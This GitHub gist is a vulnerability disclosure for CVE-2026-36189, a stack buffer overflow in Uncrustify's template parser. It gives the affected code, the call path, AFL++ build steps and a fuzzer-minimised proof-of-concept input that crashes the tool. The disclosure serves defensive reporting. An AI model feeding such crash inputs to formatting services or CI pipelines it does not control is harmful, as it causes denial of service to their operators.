Skip to content

Instantly share code, notes, and snippets.

@Criticayon
Last active May 21, 2026 08:06
Show Gist options
  • Select an option

  • Save Criticayon/5da6d6c9cf068e494347c659d01982a9 to your computer and use it in GitHub Desktop.

Select an option

Save Criticayon/5da6d6c9cf068e494347c659d01982a9 to your computer and use it in GitHub Desktop.
Reference for CVE-2026-36189

Description of the bug: Uncrustify crashes when processing specially crafted malformed C/C++ template syntax. The vulnerability exists in the check_template() function in src/tokenizer/check_template.cpp, where the parser stores template-related tokens into a fixed-size stack buffer without sufficient boundary validation.

During template parsing, malformed input may cause the number of collected tokens to exceed the stack buffer capacity, resulting in an out-of-bounds write and triggering a stack-based buffer overflow. AddressSanitizer reports a stack-buffer-overflow at src/tokenizer/check_template.cpp:305.

While no arbitrary code execution has been confirmed, the vulnerability can reliably cause denial of service through application crash. In environments where Uncrustify is used in CI/CD pipelines, automated formatting services, or online code processing systems handling untrusted source files, attackers may exploit this issue to disrupt service availability.


[VulnerabilityType Other] Stack-based Buffer Overflow (CWE-121)


[Vendor of Product] Uncrustify Project


[Affected Product Code Base] Uncrustify - Affected: Uncrustify_d-0.82.0-132-bcc41cbdc and earlier
Fixed: upstream commit 68e67b9a1435a1bb173b106fedb4a4f510972bdc


[Affected Component] src/tokenizer/check_template.cpp, check_template(), tokenize_cleanup(), uncrustify executable


[Attack Type] Local


Environment: Ubuntu 24.04.3 LTS


Technical details

The vulnerability is triggered by missing boundary validation during template token parsing:

tokens[num_tokens] = CT_ANGLE_OPEN;

The check_template() function accesses the tokens array without verifying whether num_tokens exceeds the stack buffer boundary, resulting in a stack-based buffer overflow.

The vulnerable call path is:

main
 └── do_source_file
      └── uncrustify_file
           └── uncrustify_start
                └── tokenize_cleanup
                     └── check_template

Reproduction steps

Build with AddressSanitizer enabled:

export AFL_USE_ASAN=1
CC=afl-clang-fast
CXX=afl-clang-fast++
cmake ..
make -j$(nproc)

Run:

./uncrustify -c config.cfg -f poc.c

config.cfg

indent_columns=4

poc.c

�<0<(((((n<0<0<((((�<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((r<0<@(((�<0<0<0<0<0<0<0<0<

Observed result:

image

Crash location:

src/tokenizer/check_template.cpp:305

Impact

  • Memory corruption
  • Application crash
  • Denial of service

No confirmed arbitrary code execution has been demonstrated.


Notes:

Discovered via AFL++ fuzzing with AddressSanitizer enabled.

The issue can be reliably reproduced using the provided minimized proof-of-concept input file.


References


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment